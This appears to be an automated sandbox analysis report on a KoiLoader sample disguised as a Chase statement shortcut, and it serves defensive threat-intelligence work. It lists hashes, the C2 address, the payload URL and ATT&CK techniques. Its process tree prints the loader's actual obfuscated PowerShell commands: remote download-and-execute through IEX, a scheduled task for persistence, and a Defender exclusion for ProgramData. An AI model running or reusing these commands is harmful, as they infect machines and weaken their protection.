koiloader | 3bfb486ba3651881de7009679dbbdc68b685612a72c3c051305699efaa1fe5cb

General

Target

chase_march_2025.lnk
Size

1KB
MD5

c8819ed5f7f4a9b309e01db14b458a60
SHA1

1b78c2b3627814971f73c7fa2696d1119154ea07
SHA256

5d736786036eeeaeb7a7c8b3652c76ca4c61a845619004e0b9bb679971da6a48
SHA512

72e7d619453b60df925f2f593bb9ff3156c717e97354f1de6025f9de67c8ec7713dccc01988928072b271f20eca35168023fed06f084376db47b2a07be424f78

Score

10^/10

koiloader defense_evasion discovery execution loader

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

exe.dropper

https://studiolegaledesanctis.eu/wp-content/uploads/2024/07

Extracted

Family

koiloader

C2

http://217.156.66.15/gnathopoda.php

Attributes

payload_url
https://studiolegaledesanctis.eu/wp-content/uploads/2024/07

Signatures

KoiLoader
KoiLoader is a malware loader written in C++.
loader koiloader
Koiloader family
koiloader

Detects KoiLoader payload 1 IoCs

loader

resource	yara_rule
behavioral1/memory/964-56-0x0000000007A50000-0x0000000007A5D000-memory.dmp	family_koi_loader

Blocklisted process makes network request 6 IoCs

flow	pid	Process
7	2260	powershell.exe
64	964	powershell.exe
70	964	powershell.exe
72	3024	powershell.exe
73	3024	powershell.exe
76	964	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 4 IoCs

Powershell Invoke Web Request.

execution

PowerShell

T1059.001

pid	Process
964	powershell.exe
2768	powershell.exe
3024	powershell.exe
2260	powershell.exe

Checks computer location settings 2 TTPs 3 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-3342763580-2723508992-2885672917-1000\Control Panel\International\Geo\Nation	wscript.exe
Key value queried	\REGISTRY\USER\S-1-5-21-3342763580-2723508992-2885672917-1000\Control Panel\International\Geo\Nation	cmd.exe
Key value queried	\REGISTRY\USER\S-1-5-21-3342763580-2723508992-2885672917-1000\Control Panel\International\Geo\Nation	wscript.EXE

Indicator Removal: Clear Persistence 1 TTPs 1 IoCs

Clear artifacts associated with previously established persistence like scheduletasks on a host.

defense_evasion

Clear Persistence

T1070.009

pid	Process
4184	powershell.exe

Command and Scripting Interpreter: JavaScript 1 TTPs
execution

JavaScript
T1059.007
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 6 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	DllHost.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

T1053.005

pid	Process
4740	schtasks.exe

Suspicious behavior: EnumeratesProcesses 11 IoCs

pid	Process
2260	powershell.exe
2260	powershell.exe
4184	powershell.exe
4184	powershell.exe
964	powershell.exe
964	powershell.exe
2768	powershell.exe
2768	powershell.exe
3024	powershell.exe
3024	powershell.exe
3024	powershell.exe

Suspicious use of AdjustPrivilegeToken 5 IoCs

description	pid	Process
Token: SeDebugPrivilege	2260	powershell.exe
Token: SeDebugPrivilege	4184	powershell.exe
Token: SeDebugPrivilege	964	powershell.exe
Token: SeDebugPrivilege	2768	powershell.exe
Token: SeDebugPrivilege	3024	powershell.exe

Suspicious use of WriteProcessMemory 27 IoCs

description	pid	Process	procid_target
PID 5492 wrote to memory of 2260	5492	cmd.exe	88
PID 5492 wrote to memory of 2260	5492	cmd.exe	88
PID 2260 wrote to memory of 4556	2260	powershell.exe	92
PID 2260 wrote to memory of 4556	2260	powershell.exe	92
PID 2260 wrote to memory of 4740	2260	powershell.exe	93
PID 2260 wrote to memory of 4740	2260	powershell.exe	93
PID 5732 wrote to memory of 4184	5732	wscript.EXE	111
PID 5732 wrote to memory of 4184	5732	wscript.EXE	111
PID 4184 wrote to memory of 1800	4184	powershell.exe	113
PID 4184 wrote to memory of 1800	4184	powershell.exe	113
PID 4184 wrote to memory of 3708	4184	powershell.exe	114
PID 4184 wrote to memory of 3708	4184	powershell.exe	114
PID 3708 wrote to memory of 964	3708	wscript.exe	115
PID 3708 wrote to memory of 964	3708	wscript.exe	115
PID 3708 wrote to memory of 964	3708	wscript.exe	115
PID 4800 wrote to memory of 3256	4800	DllHost.exe	118
PID 4800 wrote to memory of 3256	4800	DllHost.exe	118
PID 4800 wrote to memory of 3256	4800	DllHost.exe	118
PID 3256 wrote to memory of 2768	3256	cmd.exe	120
PID 3256 wrote to memory of 2768	3256	cmd.exe	120
PID 3256 wrote to memory of 2768	3256	cmd.exe	120
PID 964 wrote to memory of 3232	964	powershell.exe	121
PID 964 wrote to memory of 3232	964	powershell.exe	121
PID 964 wrote to memory of 3232	964	powershell.exe	121
PID 3232 wrote to memory of 3024	3232	cmd.exe	123
PID 3232 wrote to memory of 3024	3232	cmd.exe	123
PID 3232 wrote to memory of 3024	3232	cmd.exe	123

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Windows\system32\cmd.exe
cmd /c C:\Users\Admin\AppData\Local\Temp\chase_march_2025.lnk
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:5492
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $pdw = $env:programdata + '\' + ('1o6gjltxwxrjzt.js w2tvvf08m'); $getf='Dow'+'nl'+'oadF'+'ile'; $ri6muz5x1g1rk = New-Object Net.WebClient; $wscs = 'wscript '; $ri6muz5x1g1rk.$getf('https://studiolegaledesanctis.eu/wp-content/uploads/2024/07/ventage3a.php', '1o6gjltxwxrjzt.js'); . ('curl.e'+'xe') -s -o fv8jwiyi037p 'https://studiolegaledesanctis.eu/wp-content/uploads/2024/07/caginessEBuk.php'; mv fv8jwiyi037p 'w2tvvf08m.js'; . ('sc'+'hta'+'s'+'ks') /create /sc minute /mo 1 /f /tr ($wscs + $pdw) /tn w2tvvf08m;
  2⤵
  - Blocklisted process makes network request
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:2260
- - C:\Windows\system32\curl.exe
    "C:\Windows\system32\curl.exe" -s -o fv8jwiyi037p https://studiolegaledesanctis.eu/wp-content/uploads/2024/07/caginessEBuk.php
    3⤵
    PID:4556
- - C:\Windows\system32\schtasks.exe
    "C:\Windows\system32\schtasks.exe" /create /sc minute /mo 1 /f /tr "wscript C:\ProgramData\1o6gjltxwxrjzt.js w2tvvf08m" /tn w2tvvf08m
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:4740

C:\Windows\system32\wscript.EXE
C:\Windows\system32\wscript.EXE C:\ProgramData\1o6gjltxwxrjzt.js w2tvvf08m
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:5732
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command "schtasks /delete /tn w2tvvf08m /f; wscript $env:programdata\w2tvvf08m.js "
  2⤵
  - Indicator Removal: Clear Persistence
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:4184
- - C:\Windows\system32\schtasks.exe
    "C:\Windows\system32\schtasks.exe" /delete /tn w2tvvf08m /f
    3⤵
    PID:1800
- - C:\Windows\system32\wscript.exe
    "C:\Windows\system32\wscript.exe" C:\ProgramData\w2tvvf08m.js
    3⤵
    - Checks computer location settings
    - Suspicious use of WriteProcessMemory
    PID:3708
  - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" -command "$typs=[Ref].Assembly.GetTypes();$bss = 'https://studiolegaledesanctis.eu/wp-content/uploads/2024/07'; Foreach($tt in $typs) {if ($tt.Name -like '*?siUt*s') {$c=$tt}}; $env:paths = '7z8XUB5YTJO6'; IEX(Invoke-WebRequest -UseBasicParsing ($bss+'/uratic58o.php')); IEX(Invoke-WebRequest -UseBasicParsing ($bss+'/shepherdess1Hwn.ps1'))"
      4⤵
      Blocklisted process makes network request
      Command and Scripting Interpreter: PowerShell
      System Location Discovery: System Language Discovery
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      Suspicious use of WriteProcessMemory
      PID:964
    - - C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\system32\cmd.exe" /c "powershell -command IEX(IWR -UseBasicParsing 'https://studiolegaledesanctis.eu/wp-content/uploads/2024/07/sd2.ps1')"
        5⤵
        System Location Discovery: System Language Discovery
        Suspicious use of WriteProcessMemory
        
        PID:3232
      - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -command IEX(IWR -UseBasicParsing 'https://studiolegaledesanctis.eu/wp-content/uploads/2024/07/sd2.ps1')
        6⤵
        Blocklisted process makes network request
        Command and Scripting Interpreter: PowerShell
        System Location Discovery: System Language Discovery
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:3024

C:\Windows\SysWOW64\DllHost.exe
C:\Windows\SysWOW64\DllHost.exe /Processid:{3E5FC7F9-9A51-4367-9063-A120244FBEC7}
1⤵
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:4800
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\system32\cmd.exe" /c "powershell -command Add-MpPreference -ExclusionPath 'C:\ProgramData'"
  2⤵
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:3256
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    powershell -command Add-MpPreference -ExclusionPath 'C:\ProgramData'
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - System Location Discovery: System Language Discovery
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:2768

C:\Windows\System32\wscript.exe
C:\Windows\System32\wscript.exe "C:\ProgramData\r63e48d52-8c45-4cbc-90d9-6336485f78d0r.js"
1⤵
PID:4948

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

2

T1059

JavaScript

1

T1059.007

PowerShell

1

T1059.001

Scheduled Task/Job

1

T1053

Scheduled Task

1

T1053.005

Persistence

Scheduled Task/Job

1

T1053

Scheduled Task

1

T1053.005

Privilege Escalation

Scheduled Task/Job

1

T1053

Scheduled Task

1

T1053.005

Defense Evasion

Indicator Removal

1

T1070

Clear Persistence

1

T1070.009

Credential Access

Discovery

Query Registry

2

T1012

System Information Discovery

2

T1082

System Location Discovery

1

T1614

System Language Discovery

1

T1614.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\ProgramData\1o6gjltxwxrjzt.js

Filesize
198B

MD5
af9f1f2076317c03e21d56367e638af4

SHA1
61c4f850591f851acd3108104ef14f0fe32f95a6

SHA256
70835a8f7ea6c93942935a6f9fef1ae4591c22e873e3b06000ef01437f2090c1

SHA512
c280492024a902e3988c88dca7e21fc622df1bdf66796d9baf06a3b393550ac3d771589b0c51e7c246991d314c0729e7631cd1c08ba575683d9abdef7295b29c

Download Submit
C:\ProgramData\fv8jwiyi037p

Filesize
1KB

MD5
06bd7bbc1b36659a844105b87bea147b

SHA1
085a01d4d97ad09c1de33c6a45a1b9d7a5d9af94

SHA256
cbd2a12713f5b0dd342ae001e687277bc0851dfaa03545658641eaad99e35d0a

SHA512
4950af7ee1d0e1ab236587c550154d5a3fa41bb87aaee210156aab2a82d8009812d64c74187532b0774a20ab27685dcb5b34476b0d5f55c8bc611cc2f015e329

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

Filesize
3KB

MD5
556084f2c6d459c116a69d6fedcc4105

SHA1
633e89b9a1e77942d822d14de6708430a3944dbc

SHA256
88cc4f40f0eb08ff5c487d6db341b046cc63b22534980aca66a9f8480692f3a8

SHA512
0f6557027b098e45556af93e0be1db9a49c6416dc4afcff2cc2135a8a1ad4f1cf7185541ddbe6c768aefaf2c1a8e52d5282a538d15822d19932f22316edd283e

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\powershell.exe.log

Filesize
2KB

MD5
3d086a433708053f9bf9523e1d87a4e8

SHA1
b3ab5d4f282a4c8fe8c3005b8a557ed5a0e37f28

SHA256
6f8fd1b8d9788ad54eaeee329232187e24b7b43393a01aeba2d6e9675231fb69

SHA512
931ae42b4c68a4507ff2342332b08eb407050d47cf4176137ea022d0f6e513c689e998445a04c6d18d4877391705c586bfce0234632b898d41aaed0957996dfd

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
354B

MD5
d22775e9a7413a789c004e3384774a3c

SHA1
acbcf25b45fab3438165a24ae5bf242a28f8fca8

SHA256
dde563011b843fecaa678f7406db5f9fd7f98965d42d5017fd56df182beb2b40

SHA512
eb28f7f541ce6640803445f9ebc3267510d14d58a8fde24af43534da5769b60958682b8182e59e37094865816b0e8b72f625a4ae6f4537356b7b0fe65851e64f

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
1KB

MD5
35951045da307abc976404b5e5347c25

SHA1
ce641fe8dc6bd75df45b3c7c90363250f8302a79

SHA256
d78525b7cf64caf262079e819e49517c59b25345df5ce8a9f99e50742f86f1b1

SHA512
41432863a7e788173f7d3d3823f09e3764056c6a620c97af8d70c56d96a859eb89aa3230ebdc49a2ea41e719ff707ab66f86579ebbf0160e91213f280e03f42f

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
64B

MD5
d8b9a260789a22d72263ef3bb119108c

SHA1
376a9bd48726f422679f2cd65003442c0b6f6dd5

SHA256
d69d47e428298f194850d14c3ce375e7926128a0bfb62c1e75940ab206f8fddc

SHA512
550314fab1e363851a7543c989996a440d95f7c9db9695cce5abaad64523f377f48790aa091d66368f50f941179440b1fa94448289ee514d5b5a2f4fe6225e9b

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_100qxl5y.s53.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/964-54-0x0000000007C10000-0x000000000828A000-memory.dmp

Filesize
6.5MB

Download
memory/964-51-0x0000000006350000-0x000000000636E000-memory.dmp

Filesize
120KB

Download
memory/964-35-0x0000000004DA0000-0x0000000004DD6000-memory.dmp

Filesize
216KB

Download
memory/964-36-0x00000000054F0000-0x0000000005B18000-memory.dmp

Filesize
6.2MB

Download
memory/964-37-0x0000000005390000-0x00000000053B2000-memory.dmp

Filesize
136KB

Download
memory/964-38-0x0000000005430000-0x0000000005496000-memory.dmp

Filesize
408KB

Download
memory/964-39-0x0000000005B20000-0x0000000005B86000-memory.dmp

Filesize
408KB

Download
memory/964-49-0x0000000005D10000-0x0000000006064000-memory.dmp

Filesize
3.3MB

Download
memory/964-56-0x0000000007A50000-0x0000000007A5D000-memory.dmp

Filesize
52KB

Download
memory/964-55-0x0000000007A40000-0x0000000007A41000-memory.dmp

Filesize
4KB

Download
memory/964-52-0x0000000006390000-0x00000000063DC000-memory.dmp

Filesize
304KB

Download
memory/964-53-0x0000000006720000-0x000000000673A000-memory.dmp

Filesize
104KB

Download
memory/2260-2-0x00007FFB7B243000-0x00007FFB7B245000-memory.dmp

Filesize
8KB

Download
memory/2260-20-0x00007FFB7B240000-0x00007FFB7BD01000-memory.dmp

Filesize
10.8MB

Download
memory/2260-14-0x00007FFB7B240000-0x00007FFB7BD01000-memory.dmp

Filesize
10.8MB

Download
memory/2260-12-0x0000020D50ED0000-0x0000020D50EF2000-memory.dmp

Filesize
136KB

Download
memory/2260-13-0x00007FFB7B240000-0x00007FFB7BD01000-memory.dmp

Filesize
10.8MB

Download
memory/2768-80-0x00000000079F0000-0x0000000007A0E000-memory.dmp

Filesize
120KB

Download
memory/2768-94-0x0000000007E80000-0x0000000007E9A000-memory.dmp

Filesize
104KB

Download
memory/2768-82-0x0000000007BB0000-0x0000000007BBA000-memory.dmp

Filesize
40KB

Download
memory/2768-83-0x0000000007DC0000-0x0000000007E56000-memory.dmp

Filesize
600KB

Download
memory/2768-84-0x0000000007D40000-0x0000000007D51000-memory.dmp

Filesize
68KB

Download
memory/2768-85-0x0000000007D80000-0x0000000007D8E000-memory.dmp

Filesize
56KB

Download
memory/2768-88-0x0000000007D90000-0x0000000007DA4000-memory.dmp

Filesize
80KB

Download
memory/2768-81-0x0000000007A10000-0x0000000007AB3000-memory.dmp

Filesize
652KB

Download
memory/2768-95-0x0000000007E60000-0x0000000007E68000-memory.dmp

Filesize
32KB

Download
memory/2768-69-0x0000000006DD0000-0x0000000006E02000-memory.dmp

Filesize
200KB

Download
memory/2768-70-0x0000000070530000-0x000000007057C000-memory.dmp

Filesize
304KB

Download
memory/3024-102-0x00000000084A0000-0x00000000084BA000-memory.dmp

Filesize
104KB

Download
memory/3024-103-0x0000000008540000-0x0000000008590000-memory.dmp

Filesize
320KB

Download
memory/3024-104-0x0000000008630000-0x00000000086C2000-memory.dmp

Filesize
584KB

Download
memory/3024-101-0x0000000008A50000-0x0000000008FF4000-memory.dmp

Filesize
5.6MB

Download
memory/3024-100-0x0000000007CD0000-0x0000000007CF2000-memory.dmp

Filesize
136KB

Download

Analysis

Sharing

General

Malware Config

Extracted

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

Loading Replay Monitor...

Downloads